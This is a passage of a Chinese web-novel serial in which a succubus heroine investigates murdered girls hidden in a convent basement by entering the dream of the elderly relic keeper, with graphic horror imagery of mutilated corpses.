一切强大的生物都能够主宰其他生物的生死存亡。 所以魅魔们会小心地混迹在那些危险的生物之间,越危险的生物,所能得到的食物也就越美味,所谓富贵险中求,就是如此了。只是对于他们来说,昨天还见面打招呼的朋友,明天就可能已经变成了飞灰,再也见不到了。 而且魅魔是独居动物,一般不聚群,只是混迹在各种生物的族群里,伪装成不同的生物。所以很多魅魔常常会悄无声息地以各种方式、各种身份死去,魅魔死后不会有尸体留存,所以死后也不会人会记得他们,他们的朋友更不会知道她是已经死去了,还是离开了这个地方,魅魔们之间几乎不联系,族群和血缘都很淡薄。 所以才会有魅魔学院这个地方来保护未成年的、还没有学会伪装和生活技能、无法独自生活的未成年魅魔们。 所以对于魅魔们来说,天使和人类生活的地方都是很好的去处,这两个族群是这个世界为数不多的有秩序的社会,在这里他们不用担心朝不保夕,只要伪装好自己的身份就好了……就是如果伪装失败,下场也会远比其他地方惨就是了。 说起来,之芙确实很感谢司苍和司妈妈。虽然她的身份一看就有问题,但他们对她非常好,她在司家不太接触人类社会,自然不用担心自己会露馅然后死掉。 更何况在司家她过得也很开心,唉,天天打游戏的无忧无虑的小女孩,能不开心吗。 之芙说:【难道你怕死吗,司苍?】 人类会怕死吗?他们是生下来就注定会死去的生物啊。 【当然。】系统——司苍说,【我想没有人不怕死吧。】 【可是死亡对于你……对于我们来说,就像是明天的太阳一样,不会缺席的。】 司苍想了想说:【可能因为没人知道死亡会在什么时候以什么方式到来,也没有人知道死后是什么样子的,更没有人知道死亡本身是什么。比起害怕死亡,其实更害怕的是未知吧。如果有人已经强大到不害怕一切未知,大概也就能不惧怕死亡了。】 之芙【噢】了一声,觉得似乎也很有道理。 人类,果然还是很复杂。不过,如果人类如此害怕未知……他们也会害怕魅魔吗?如果他们知道自己是魅魔的话……嗯。考虑到人类的文艺作品对魅魔的误解,之芙觉得自己最好还是不要期待自己的本体对他们产生什么威慑力。 之芙又问:【如果是祭祀的话,一般是用来祈祷什么的吧?他们献祭这些无辜的女孩,是想做到什么吗?……按照文艺作品里的描写,一般来说献祭无辜的同族,是用来祈求财富的?或者权力?反正他们肯定不是祈雨或者祈祷丰收吧?】 系统迅速地查了一下这个世界的背景:【虽然整个陆地战事不断,但这个国家在女王的治理下非常强大,一直保持着和平。排除掉侯爵,伯爵是贵族出身,继承父亲的爵位,从小锦衣玉食、奴仆成群地长大,继承爵位后进入权力中心,一直是女王的宠臣,伯爵本人有钱有权,从小到大一直是首都贵族圈子里的中心。】 如果是这样的情况,倒是没太大可能是求钱或是求权。 之芙蹲在原地陷入了思考。她曾经见过伯爵一面,在伯爵府邸。虽然匆匆一面没有留下太多印象,但她记得那是一个看起来很严肃的中年男人,虽然在仆丛面前不苟言笑,但在伯爵夫人和白飞烟面前倒是很好说话。 在伯爵府邸一起用膳的时候,伯爵整个人都很放松——他对伯爵夫人的态度是亲近而尊敬的,看得出来,他和伯爵夫人是那种这个时代很常见的联姻夫妻,或许说不上爱情,但对对方还是非常满意的,而且也很享受家庭。 这样一个家庭事业都美满无缺的人,能有什么愿望呢? 等等……美满无缺?不……他应该还是有个遗憾的。之芙想到了,那谜底分明就明晃晃地摆在他们的眼前——但所有人都忽视了。 是白飞烟的腿。 进入这个游戏的时候,系统分明告诉过她的,这个世界里的白飞烟不是生来残疾,他的腿是年幼时“被恶魔诅咒”后才变成这个样子的。只不过那个时候他们都没有把这件事放在心上,以为这是为了契合白飞烟的身体设定,才特意给他的一个解释身体残缺原因的普通剧情。 毕竟白飞烟的断腿也并不是先天的残疾,而是后来在游戏中受伤太重留下的伤。 但如果换一个角度去思考的话,什么东西不怕没有,就怕一开始有,后来却丢失了。如果一个人生来健全,却因为某种原因落下残疾——还是双腿失去知觉这样严重的残疾,心里一定非常不甘心。 而且白飞烟寄来的信里也提到过,伯爵表面上对他呵护有加,是慈父形象,但实际上并不喜欢他,甚至厌恶他的残疾。 之芙几乎已经肯定这是伯爵犯下的罪了。但是,他的愿望是什么?是为了祈祷白飞烟的腿好起来吗? 之芙把自己的猜测跟系统说了。谁知道系统沉默了一会儿,忽然问:【伯爵为什么厌恶白飞烟——更准确的说,他为什么厌恶白飞烟的断腿?】 之芙也被这个问题一下问住了:【嗯……因为他歧视残疾人?】 系统否认了:【没有歧视自己孩子的道理,更何况白飞烟也不是先天残疾。一般来说人们厌恶病人只有几种原因,一种是经济或精神、精力无法负担,有句话说久病床前无孝子。】 但这肯定不是伯爵厌恶白飞烟的原因,他有钱有势,多得是仆从可以照顾孩子。 【还有另外一种就是他无法接受旁人对于他和孩子的可怜或怜悯、鄙视的目光……直白点来说,他觉得应该残疾的孩子会让他丢脸。】 之芙:【……】 之芙仔细想了想,系统的这个推测似乎才是最合适的。 【所以他的愿望应该是让白飞烟的腿好起来吧。】系统说,【而且伯爵家对外的说法也是‘残疾是因为被恶魔诅咒’……所以他们就向恶魔祈求宽恕……听起来是不是也挺正常的?】 之芙还是觉得有哪里不对劲。但系统的推测毫无破绽,她也没有可以反驳的证据,只好点点头,先应下这个猜测。 【还有另一个问题。】之芙说,【如果真的像是你说的那样,伯爵厌恶白飞烟是因为觉得他丢脸。如果他真的是这么好面子的一个人,那他为什么要答应让我来做白飞烟的妻子呢?】 之芙这个身份并不是贵族小姐,甚至是在这个时代有些‘低贱’的女工。白飞烟娶她当妻子,一定会在那些贵族圈子里招来嘲笑——就像她来到这个世界的第一天,在聚会上被那些贵族小姐嘲笑一样。 【嗯……】长久的沉默过后,之芙缓缓地说,【你说,为什么一定要我来到这个修道院里进行什么‘新娘修行’呢?这个祭祀的地下室又为什么‘刚好’就在修道院里呢?】 系统:【……】 【有没有一种可能……这些女孩,都是被称为子爵的妻子这件事迷花了眼,被送来这里进行‘新娘修行’后送了命呢?】 系统:【……】 不是有可能,是很有可能。 为着这个血腥的推测,两人都沉默了。 之芙又叹了口气,拍拍身上的灰尘站了起来。 她在这个地下室呆的时间太久了,修女们不知道什么时候会回来,她是时候该离开了。 但在离开之前,之芙废了点力气,把尸体堆最上方的一具尸体拉了下来,仔细地记住了对方的脸和身形模样。 【怎么了?】系统问,【还有什么漏掉的线索吗?】 【不,没什么。】之芙把尸体恢复成原样,拿起烛台,往外走。 【只是看看而已。最上面的那具尸体应该是最近一个受害者吧?】 【应该是吧……】 第174章 《好消息:莉莉丝降临了!》 这是………… 从地下室爬出去的时候修道院还静悄悄的, 血红色的夕阳透过教堂的花窗照出色彩繁复的影子,落在地上像是一块块的颜料涂画。 那些精美而庄重的壁画仿佛真的是从天国投射而来的一角碎片空间,把不大的教堂从俗世中分割而来, 仿佛世外桃源般静谧而美好,当修女和信徒们在此齐声歌唱的时候, 你很难想象仅仅一墙之隔的世界安放着另外一些无处埋葬的灵魂。 之芙看了一眼时间, 下午四点。离艾弗和修女们回来还有一些时间,可以会收到白飞烟寄来的信吗? 她伸了个懒腰,不管怎么说, 先去补个觉好了, 晚上还有很多事要做呢。 她揉着惺忪的睡眼沿着教堂通往起居室的走廊往里走,忽然注意到起居室最外面的那一间是关上门的——这个教堂的看守很严密, 平常也没有人会来教堂偷东西, 除了睡觉之外几乎没有人会关门。 之芙支起了耳朵。这是圣物管理员的房间, 这个时间点……她不会也在睡觉吧? 之芙悄悄地把门推开了一点, 果然看见屋里的床上软被隆起, 白色的床单上也散落着灰白的发丝,是圣物管理员躺在上面。 这还是她第一次见到对方的房间——大体布局和别人的屋子也没什么区别,但令人瞩目的是, 她的私人物品很少, 整个房间无论是书桌还是墙面、床上地上, 都几乎没有私人物品堆积, 只放着修道院为修女们提供的最简易的生活用品,书桌上放着一本书、一支笔、一瓶墨水, 床上也只有两个枕头和一床被子,仅此而已。 不用进门翻看也知道,衣柜里的东西大概也少得可怜, 两三件换洗的修女袍,一个头巾,就这样应付了修道院里二十多年的岁月。 其他修女的房间虽然东西也少,但万万不得如此清净的地步,很多修女甚至会在房间里放一个花瓶,在清贫的生活中寻找生活的慰藉。 相比之下,在修道院里生活时间最长的圣物管理员的房间却是最干净的,这不合理,之芙甚至觉得在……她好像在随时准备着离开这里。 但离开这里,她还能去哪里呢?她在修道院里生活了二十多年,她已经老了,无法劳动,父母都已经离世,她没有丈夫和孩子,没有认识的亲近的人,没有房子,在修道院里更不可能攒下钱。 有什么地方是她这样的人随时可以去的呢?比如……她想象中的那个天堂? 之芙摇了摇头,把自己没有依据的思考从脑海中驱赶掉。 她小心翼翼地关上门,轻手轻脚地回到了自己的房间——回房间之前她看了一眼对面的屋子,也关着门,特蕾莎还在补觉。 回到房间后,之芙也关上门,换上柔软舒适的睡衣后躺到了床上。 【睡吧。】系统说,【等到其他人回来,我会叫你的。】 之芙安心地点了点头,闭上眼,陷入了睡梦之中。 梦里她还有要做的事情。虽然在夜晚入梦才比较稳妥,但时间紧迫,之芙担心在这个世界等待越久,白飞烟那边就会越危险,无论怎么说,他们能尽快离开这个游戏才是最好的。 这一次,在入梦之前,之芙再次调整了自己的形象。她在修道院的地下室里记住的那位年轻无辜的女孩的脸派上了用场,之芙对照着记忆中的脸,把自己的五官慢慢调整成她的模样。 她在魅魔学院的时候就是优秀学生,对于这种小小的把戏信手拈来,唯一可惜的是她没有见过那个女孩生前的样子,只能模仿出一样的脸,却无法模仿她的神态气质。 不过也不需要那么仔细,在梦里的人只需要一个暗示,就会自动想象出他们想看到的内容——就像在艾弗的梦里一样,她不用多说什么,艾弗自己就会说服自己的。 之芙给自己捏完脸,又换上一身修道院里提供的修女袍,如果她的猜测没错的话,圣物管理员见到这个女孩的时候,她应该就穿着这样的衣服。 做完这一切,她又弄了点血涂在脸上和手上,盖住了大半张脸,这样有冲击力的画面,就算完全不像,也会在第一时间影响人的观感。 之芙涂完,对着镜子照了照,忽然又感觉有些不对劲。她把脸上的血擦掉,露出那张白净而温柔的脸,转而在腹部涂上厚厚的血浆——因为修女服是黑色的,血迹没有糊在脸上那么明显,但这个地方是地下室里所有尸体上都有的伤口,那些可怜的女孩在死后都被剖开胸膛塞进了香料。 她再一次确认没有错之后,就潜入了圣物管理员的梦里。 …… 之芙还以为,圣物管理员的梦会和艾弗神父的梦一样平静、漆黑,仿佛无法流淌的死水一般黏腻潮湿——他们的信仰会为他们带来这样的平静。 但出乎之芙意料的是,她刚踏入圣物管理员的梦境,就听到了一阵撕心裂肺的,明显来自一个年轻女孩的惨叫声: “啊啊啊啊啊——救命!!!!!” 之芙立刻环顾四周,为了让圣物管理员更加沉入梦境,她没有捏造梦境的场景,但眼前的一切都太过熟悉,正是她刚刚离开的地方—— 那个漆黑的地下室。 之芙愣了愣,忽然意识到,这不是她为她捏造的梦境,这是……圣物管理员原本的梦。 她在做梦,而且,她梦到了地下室里的惨叫。 第175章 《好消息:莉莉丝降临了!》 那分明是…… 漆黑的走廊在圣物管理员的梦里变得深不见底, 四周墙壁上点着壁灯,可前方依然一片潮湿阴暗的漆黑,昏黄的烛火也只能照亮面前的一小块地方。 之芙提起裙摆走进走廊, 越是往前,那凄惨的叫声就越清晰。 尖叫高昂而颤抖, 仿佛被撕裂了的声带, 又像是破旧的风箱在往外呼呼地吹起,仅从声音很难听出到底是谁的声音,但这应该不是圣物管理员的, 之芙听过她的声音, 沙哑低沉,跟这个声音区别很大。 她的梦为什么会是这个样子的呢? 之芙想着, 却感觉脚下的路似乎又变长了, 长得好似永远也走不到尽头。 尖叫声又变了:“别过来!别过来——啊!!!!” 这似乎是另一个的声音。之芙心里一凛, 提起裙摆向前方狂奔而去, 奇怪的是, 刚刚还深得仿佛永远也走不到尽头的长廊,却在她奔跑的时候突然缩短了,之芙只跑了一分钟, 面前就出现了那个熟悉的洞口。 她谨慎地停在洞口, 把自己的身体藏在漆黑的走廊之中, 只探出一个脑袋看向前方—— 与之前她和特蕾莎见过的漆黑的阴冷地下室不一样, 现在,地下室里亮堂堂的, 四周的墙壁上点着蜡烛,那张熟悉的长桌上也放着不止一盏的烛台。 因为明亮,地下室里的场景也一览无余—— 地下室里挤满了密密麻麻的人, 或者说……密密麻麻的尸体和人。那些人身形高大得几乎有些奇怪,乍一看个个都是身高腿长虎背熊腰,他们穿着一身黑色的袍子,袖子也高高地挽起,随着挥舞凶器的动作,在墙壁上投下极有压迫力的黑影。 之芙感觉那些人的身材非常夸张的高大和健壮,手臂上隆起夸张的肌肉,简直不像是一群人,而是一群熊。 但更奇怪的是,他们隆起的肌肉如此清晰,但他们的脸却像是被人用画笔抹去了似的,没有五官,也看不出样貌,只能看到一团肉。 ……也不知道这样的“人”会不会有视力。保险起见,之芙还是躲藏在黑暗中悄悄地观察地下室里的情况。 光亮中,墙壁上投下的倒影不断挥舞着手中的凶器。 和那些凶手模糊的面目不一样,躺在长桌上的受害者的脸很清晰。 虽然……她们已经死去了。像被屠宰的牲畜一样面朝上躺着,尖刀和斧头劈开胸膛,掏出血淋淋的内脏,血溅在四处。 她们的长发垂在空中随着凶手的动作一摇一晃,内脏被粗糙的大手挤压这发出“叽里咕噜”的声音,然后“咚!”地一声被丢在一边,凶手的动作机械而麻木,像是一台台设定好的机器。 之芙看得有些反胃。出于自我保护机制,大部分人的梦都会把那些过于凶残诡异的画面自动略去,只放大自己想看的内容。 但在圣物管理员的梦里,受害者女孩和她们受害的过程被放大了,变得清晰无比、惨不忍睹。而施暴者的脸却无比模糊…… 难道她也没有看清那些人的脸吗? 但这是圣物管理员的梦,她为什么不在这里?她在哪里?之芙抿着唇仔细地在凶手和尸体里寻找圣物管理员的踪迹,但忽然,似乎是察觉到了她的视线,长桌边上的一个男人忽然停下动作,朝她的方向看来! “!”之芙猛地缩回了黑暗中。 背靠在冰冷的墙壁上,之芙听到身后传来叽里咕噜的低语,明明距离这么近,她却一个字都听不清,像是嘴里含了一口水之后说话似的。 但其他的凶手却听懂了,同样用叽里咕噜的声音回答他。 “……” “……” 诡异的音节混在“咔咔”“哐哐”“咚咚”的砍肉声里,像是怪物的低语,透着一股令人毛骨悚然的非人感。 不知道过去了多久,等到那群人“说话”的声音消失,她才小心翼翼地转过头去,看了一眼——想象之中的回头杀没有出现,那群人专心致志地处理着手下的尸体,没有发现她。 之芙这才松了一口气,虽然在梦里不会真的遇到危险,但她作为一个“外来人员”最好不要主动干预梦境,让梦境自由发展,她才能推测出更多的线索。 她再一次藏在黑暗中看向地下室,试图找到圣物管理员的身影。但她还没找到人,就先注意到了——那群凶手似乎把尸体处理干净了。之芙心里咯噔了一下:处理完尸体,他们会做什么?会……离开吗?如果会离开的话,岂不是刚好会撞到她…… 走廊狭窄又没有其他岔路,她避无可避。意识到这一点,之芙迅速地后退,往外跑。 她大概跑出几十米,就听到了身后似乎传来了脚步声。之芙心里一惊,加快速度往外跑,终于在那群人到来之前掀开头顶的木板跑了出去。 只是这个时候离开已经来不及了,之芙就地蹲下,藏在了长椅的下面。 “踏踏……”“踏踏……”脚步声响起,之芙趴在长椅下面,看到了那些人的鞋面。他们没有察觉到这教堂里还有一个人躲在里面,简单地把地下室的木板复原后就离开了。 很快,整个教堂再次恢复了寂静,只有月光寂寥地越过花窗投在地面。 之芙再次等待了一会儿,防止被回头杀。事实证明她的防范于未然是对的——脚步声消失的下一秒,大门被人从外面推开,发出了沉闷的“咯吱”声。 之芙不动声色地趴在长椅下面,从长椅下往门外看去——是那些凶手又回来了吗?是有什么还没处理的,还是发现了她? 月光落在门前,投出一个又高又瘦,拢在黑色的修女袍里,却显得异常瘦弱的影子,还在微微地颤抖。 之芙一时有些发晕,因为她发现对面人的脸……那张脸让她感到既熟悉又陌生,那分明是年轻版的圣物管理员的脸! 月光下,她的影子微微颤抖着,却目标明确地朝着地下室而来,就像她早就知道这里有个地下室,也知道里面发生了什么似的。 之芙看到她熟练地掀开地下室的木板,没有一丝犹豫地跳了下去。 所有的疑惑都得到了解答——为什么地下室里只有那些受害者的脸是清晰的,而凶手们身形异常夸张,脸也模糊不清。 圣物管理员可能根本没看到过他们的脸,但她一定见过那些受害女孩儿的脸。 之芙等了一会儿,轻手轻脚地掀开木板,也跟着跳了下去。 第176章 《好消息:莉莉丝降临了!》 …… 眼前再次陷入了黑暗。之芙是偷偷跟在圣物管理员身后的, 因此她不敢点蜡烛,只是把蜡烛揣进了怀里,放轻脚步, 轻手轻脚地跟在对方的身后。 圣物管理员的动作很熟练,她绝对不是第一次来到这个地下室了。之芙心里的疑惑越来越重:为什么她那么熟练?她看起来跟那些凶手并不熟, 那她又是什么时候发现这个地方, 发现地下室里的惨案的? 既然她发现了,又为什么不告诉其他人,只是明里暗里地暗示自己呢? 之芙一路尾随, 故技重施地躲在了走廊的黑暗处, 目送着圣物管理员走进地下室,藏身在黑暗处悄悄地看着她。 那些身形高大夸张的凶手走了之后, 地下室重新变得宽敞, 连空气都变得清新了不少。长桌没有人清理, 新鲜的血液顺着桌角“嘀嗒”“嘀嗒”地往下落, 在寂静的室内不断回响, 凶器还胡乱地扔在桌上,仿佛下一秒,那些人就会回到这里, 接着行凶似的。 圣物管理员举着蜡烛, 站在门前, 看了那些可怜的受害者们一会儿, 忽然叹了口气。 她走进地下室,屋里的尸体都已经被凶手堆在墙边奇怪的符文处, 可怜的女孩儿们生前死状凄惨,在死后竟还得到了一些体面,她们穿着整齐的黑色修女服, 仰面躺在地上,死不瞑目的眼睛直勾勾地盯着黑暗的头顶,像是一颗颗浑浊的玻璃珠。 圣物保管员蹲下身去,把烛台放在一边,从怀里掏出了一块麻布,仔细地擦拭女孩儿们脸上的血。 之芙心里咯噔一下:那块麻布她太熟悉了……那不就是圣物保管室里的“圣物”吗?! 寂静的室内,只有圣物管理员干活的声音。她忙忙碌碌地把躺在外面的尸体堆到里面去,然后仔细地擦拭尸体脸上和身上的血迹、按揉尸体的脸,帮她们放松表情、合上眼睛。 如果换一个跟圣物管理员年龄相仿的女孩,看到这一幕不被吓死也会被吓破胆,但她却动作熟练、表情淡定,显然不是第一次来为这些尸体收尾了。 梦是不会骗人的。特别是这些细节之处……之芙迅速地在脑海中过了一遍圣物管理员这些天所说的话、做的事和对她对特蕾莎的态度,检查她有没有什么奇怪之处。 但她还没有思考出什么异常来,地下室忽然响起了一阵……难以言喻的声音。 就像是牙齿不断打颤发出的“咔哒”声,又像是骨头互相摩擦,发出的令人牙酸脑胀的“滋滋”声,其中似乎还伴随着“咕噜咕噜”的低语,好似口齿不清的人所发出的,上下嘴皮黏在一起,却说不出详细语句的咕噜声。 之芙站在地下室外面,看不太清楚地下室里的情况,然而离尸体最近的圣物管理员却猛地抽了一口气,踉跄着后退了几步,然后一屁股坐在了地上。 圣物管理员不可思议地仰着头,看向尸体堆——之芙也看到了。尸体堆忽然开始颤抖,像是一座小山般不断抖动、震颤,仿佛所有的尸体组成了一个巨大的身躯,而现在,它活了过来。 最底层的尸体的四肢像是有了自我意识一样四处挥舞,苍白的、缝隙里全是血沫的指甲刮擦着地板,发出令人毛骨悚然的“咯吱”声,却始终无法挣脱身上层层叠叠的尸体。 而最上层的尸体不断抖动着……从尸堆里爬了起来。她们苍白的脸上血色尽失,嘴唇和眼底都泛着浓浓的青白色,眼白往上翻,长发却像是沾着血的麻绳一样一股股垂下,慢慢地、慢慢地……往下爬。 圣物管理员像是完全傻在了原地,还坐在那里,浑身颤抖。 一具尸体被撞了一下,从尸山上滚了下来,一路发出骨骼和皮.肉互相碰撞的诡异声音,直接滚到了圣物管理员的面前,她抖了抖身上嘎吱作响的四肢,苍白外翻的指尖扣在地板上,猛地伸出,抓住了圣物管理员的脚—— “啊!!!” ——在那双手抓住圣物管理员之前,在尖叫响彻整个地下室之间,之芙伸出手从身后一扯,拎起圣物管理员的后领,猛地把她从地上扯了起来。 “谁?!!!”惊魂未定,圣物管理员猛地回头看向自己身后的人,眼神里有些茫然——之芙也猜到了,在圣物管理员的梦里,她应该会在这里被尸体拉住脚,然后惊醒过来。 但现在,之芙突然出现救了她。圣物管理员反复地做同一个梦,即使在梦里她不记得一切,但下意识也会觉得不对。 但之芙不能让她现在就醒,她还有很多问题没有得到解答。 她一把拎起圣物管理员,拉住她的手往外跑:“跟我来!” 圣物管理员还未回过神来,就被她拉着,踉踉跄跄地跟上了之芙往外狂奔的步伐。 “嘶……”“咔哒……” 耳畔是呼啸的风声,身后是诡异的低语混合着奇怪的声音,之芙在奔跑的过程中往后看了一眼。小山一眼的尸堆不断爬出尸体,那些尸体像是对自己的四肢都失去了控制,手脚并用地向她们爬行却几次三番地倒地,姿态奇怪又诡异。 也好在那些尸体的移动速度很慢,否则地下室没有躲藏的地方,也只有一个出口,她们肯定逃不掉。 之芙和圣物管理员在那些尸体追上来的前一刻推开头顶的木板,之芙快速地钻了上去,回头向还在地道里的管理员伸出手:“快上来!” 管理员的手伸到一半,才如梦初醒般顿住了:“你是谁?” 之芙自上而下地,静静地凝视着她。过了一会儿,直到管理员的身后都能听到那诡异的“脚步声”时,她才问:“你不记得我是谁了吗?” “……”管理员愣了一下,“什么?” 之芙不语,半边身体探入洞里,不由分说地抓住她的手臂,猛地一用力就把她整个人拉了出来。 她快速地把木板盖好,拉住圣物管理员,往外跑。 “先跟我走!”她压低了声音说。 第177章 《好消息:莉莉丝降临了!》 “你………… “你……”圣物管理员一路跌跌撞撞, 欲言又止,脸上的表情有些惊恐,“你为什么会在这里, 你是……” 之芙垂头不语,一路拉着她往外狂奔。 “你的脸……我好像见过你……” 之芙拽着她跑到了教堂最前方的神台上, 布道台是个半人高的方桌, 正好可以藏下两个人,之芙把圣物管理员推进了里面,然后自己也跟着挤了进去:“先躲躲。” 木板发出“咯吱咯吱”的声音, 被尸体从地下室推开, 圣物管理员也知道事急从权,抿着唇缩进桌子的最里面, 一言不发地给之芙腾位置—— 只是她的眼睛, 还一直盯着之芙的脸。一眨不眨的, 似乎她对于之芙这个人有种熟悉又陌生、想要信任却又觉得莫名其妙的感觉。 之芙把手指抵在唇边做了一个“嘘”的姿势, 紧挨着她藏进了书桌下。 就在她藏好的下一秒, 外面再一次传来了尸体爬动的声音。书桌背对着教堂,她们无法看到身后的景象,却能听到那些窸窸窣窣的声音, 充斥在耳边, 在寂静的、不大的教堂内不断回响, 仿佛是另一种合唱团所唱出的圣歌。 黑暗而狭小的空间内, 圣物管理员直勾勾地盯着她。她的眼睛隐没在黑暗中,但她灼热的视线却很难忽视。 之芙摸了摸自己的脸, 心里忽然漫上一股说不清道不明的异样感觉。虽然她特意用了尸体堆里的脸,而且是最上面、最年轻,一看就是最近一个受害者的脸, 来确保圣物管理员一定记得她…… 但她的反应未免也有点太奇怪了吧…… 不知道过去了多久,外面的声音慢慢变小了。那些尸体没有找到她们,又回到了地下室里。之芙小心翼翼地探出一个脑袋往外望,教堂空空荡荡,长椅静静地立在黑暗中,与她对视。 “呼……”之芙长长地松了口气,无数具尸体朝她们爬来的场面太过离奇也太过震撼,即使是之芙都觉得自己受到了不小的冲击,她一屁股坐在地上,对圣物管理员说,“她们已经走了,你出来吧。” “……”圣物管理员还是那样默默地缩在书桌的最角落,看着她。 之芙朝她伸出一只手,她也没有理会。半晌,她嘴唇动了动,幽幽地说:“你是谁?” 之芙猜圣物管理员大概也不知道这些女孩的名字,就随便取了一个:“我叫莉莉,是住在修道院附近的。” 圣物管理员仍然直勾勾地盯着她:“你不是这里的修女,为什么要穿修女袍?” “我在修道院进行新娘修行。”之芙按照自己的推测说,“我见过你的,你不记得我了?” 果然,此言一出,圣物管理员的表情放松了一些。她喃喃道:“我……我也不知道。应该是我忘了吧,我觉得……你有点眼熟。” 她低着头,从书桌底下爬了出来,坐在了之芙旁边,接着低声说:“你……好像跟别人不一样。” 这里的人面目模糊而诡异,这里的尸体血淋淋又苍白。面前的这个人跟他们不一样,她洁白而美丽,明亮得跟这片漆黑的梦境格格不入。 她说的声音太轻了,之芙没有听到。之芙看看面前的十字架,看看身后的地下室入口,心里盘算着,这个梦的时间也够久了,不知道圣物管理员什么时候会醒,得赶快问出她想要的线索。 她组织着措辞和心里的线索,看向圣物管理员的时候刚好跟对方对上了视线,她脱口而出:“你为什么在这里?” “你为什么在这里?”圣物管理员的话与她的话同时响起,两人也同时顿了顿。 之芙眨眨眼睛:“是我先问你的,所以你要先回答我。” “……我晚上睡得浅,听到教堂里有尖叫声,就过来看看。”圣物管理员说,“结果一来就看到他们绑着几个女人进了地下室,我的天啊,我从来不知道这个教堂里还有地下室!” 之芙:“……”那种奇怪的感觉更浓了,这和她猜测的不一样。艾弗神父说圣物管理员在这里呆了很多年,见证了这座修道院的兴衰荣辱,就连翻新时她也在这里。建造地下室不是小事,又是在教堂下面这样敏感的位置,为什么她会不知道这里有地下室? 之芙说:“我也跟你一样。”这话有些敷衍,但却是之芙能想到的最好的借口了。之芙又问:“刚刚那些人……呃,就是那些穿黑衣服的人,你认识他们吗?” 圣物管理员摇头:“我不认识。” 这倒是之芙预料之中。她又问:“那地下室里那些尸体,你认识她们吗?你好像跟她们很熟……我看到你拿着手帕给她们擦脸。” 圣物管理员轻声说:“其实我前几天就注意到了那群黑衣人的动作,这几天我都偷偷跟着他们,在他们离开之后偷溜进来看地下室里的情况……熟悉?算不上。不如说是单方面的……她们已经死了。” 之芙不由自主地靠近了些,想知道具体的情况:“什么意思?” “……就是字面意思。”圣物管理员低下了头,慑懦着,“这里不是凶案发生的地方,那些人应该不是在地下室杀掉她们的……有一次我提前蹲在教堂里,本来想看看有没有机会救人的,结果发现他们只带来了尸体……” 说到这里,管理员咽了一口唾沫:“每天晚上他们都会带来不同的尸体,大约七八具,然后他们会在地下室处理掉那些尸体。” 奇怪,那些身形高大,从衣服来看也明显是男人,他们不可能熟悉这座全是修女的修道院,如果那些人不是在地下室动手的,为什么又要大费周章地把尸体转移到地下室来处理呢? 之芙想到了墙壁上那些奇怪的纹路。她问圣物管理员:“你觉得他们为什么要这样?” 圣物管理员沉默了一会儿:“我不是很明白。” 之芙不得不把话说得再直白一点:“我看到地下室里,那些尸体的下面有一个奇怪的纹路,你不觉得那有些奇怪吗?我觉得它看起来有点像是……” “像是?” 之芙有点着急了。管理员在修道院里呆了那么久,明明应该比自己懂这些东西吧?为什么她会想不到呢:“就是,你不觉得它看起来很像是什么召唤恶魔的法阵吗?” “……” 半晌,圣物管理员都没有说话。之芙愣了一下看向她。 月光落在她的脸上,深深凹陷的眼窝和高挺的鼻梁在她的脸上打出一道道崎岖的光影,遮住了她的半边脸,让她的脸看起来像是被光线切割成一明一暗的两半。 “……你怎么了?”之芙问。 “你看起来很眼熟。”圣物管理员落在光亮处的那一只眼睛死死地盯着她,“你是谁?我见过你。” “……”之芙轻轻地笑了一下。她正是为了这一刻才捏出这张脸的。她握住了管理员的手,对方没有反抗。 之芙把她的手放在了自己的胸膛上。隔着一层薄薄的修女服,她轻而易举就能按下去——胸膛里面什么都没有,只有血,顺着她按压的动作飙出来,溅在她的脸上。 “……” 但想象中的后悔、愧疚或惊恐都没有出现在管理员的脸上。 她幽幽地看着她,脸上的表情甚至都没有一动。之芙终于感觉到了有些不对劲。 下一秒,天旋地转,之芙只感觉到眼前一黑,管理员猛地扑了上来,用那张满是血迹的麻布捂住了她的嘴。 “那你还没死,是要我帮你吗?” 第178章 《好消息:莉莉丝降临了!》 “……… “……” 之芙猛地从床上坐了起来。她急促地呼吸着, 鼻腔里盈满了在梦里捂住她嘴鼻的那张麻布上浓郁的血腥味。 发生了什么?她有些后知后觉,想起了在梦里最后发生的事情。 ……圣物管理员到底什么身份?她为什么要……她在修道院的这些事情里,到底扮演着什么样的角色? 这和之芙之前猜测的完全不一样。 按照之芙之前的猜测, 管理员应该也是受害者,她见证了一切惨案的发生, 却无法把这件事宣之于众, 只能暗地里悄悄提醒她离开修道院,离开这个危险的地方。 但在梦里……她看起来可不像是想让之芙离开的样子。而且她给那些尸体擦血的样子也太熟练了。 之芙的脑海中不由得冒出一个猜测:她这么熟练,有没有可能, 她曾经在地下室里遇见过这样的事情。这样……还没死去的人醒来, 被她杀死的事情。 幸好之芙没有用自己的身份和脸进入圣物管理员的梦境,如果管理员真的和那群人是一伙的, 她可不会管什么梦和现实的差距, 会直接杀掉自己吧…… 之芙有点后怕地揉了揉额头, 从床上跳下来换好衣服。 她在梦里呆了很长一段时间, 但现实世界也不过才过去了一个小时, 夕阳还未完全落下,灿烂的血红色余晖透过走廊尽头的花窗落进黑色的地面。 之芙推开门,就在她正准备去找特蕾莎, 让特蕾莎小心一点的时候, 她的门却忽然被敲响了。 “谁?”她警惕地把门打开一条缝隙。 “你的信。”门外是一个有些熟悉的女声, 大概是曾经见过的修女, “艾弗神父让我把信给你捎来,是你未婚夫寄给你的。” 是白飞烟的信!之芙猛地想起自己曾经在上一次的信件里拜托白飞烟帮她调查艾弗和圣物管理员, 这封信来得正是时候。 “艾弗神父回来了吗?”她接过信问。 “嗯。”门外修女低声回应,“还有一会儿才到晚祷时间,请您注意时间, 按时参加。” “我知道了。”之芙跟修女告别,看了一眼门外——特蕾莎的门轻轻掩着,大概还在睡觉,再探头望向走廊,走廊也静悄悄的。 圣物管理员现在肯定已经醒了,不过不用太担心,她没有暴露自己的身份,只要继续装作什么都不知道的样子就好了。 之芙把门关上,她掠过了信里的生疏肉麻的思念话语,直径点燃蜡烛,借着蜡烛的火光让隐形的字体浮现出来。 这一次,没有收件人,没有客套的信件格式,白飞烟直接在顶头开门见山地写道: 【关于你让我查的事情,我已经查到了。我找了很多人反复验证这些信息,所以它们一个不会出错。 你所在的修道院是一座历史悠久的修道院,最早由一群不愿意嫁人的女孩成立。这群人中有贵族小姐,也有平民百姓,大多是虔诚的教徒,她们立誓将自己的终身奉献给上帝,成为上帝最忠诚的妻子,因而有了这座修道院。 最早时修道院甚为简陋,修女们不得不出门劳作来换取钱和食物,生活极为清苦。 后来——大约是十几年前,侯爵夫人出资捐赠,帮修道院重新翻修了一遍。理由是她也是虔诚的信徒,这座修道院离侯爵府邸最近,她希望能献上一份心意,并且方便自己去礼拜。】 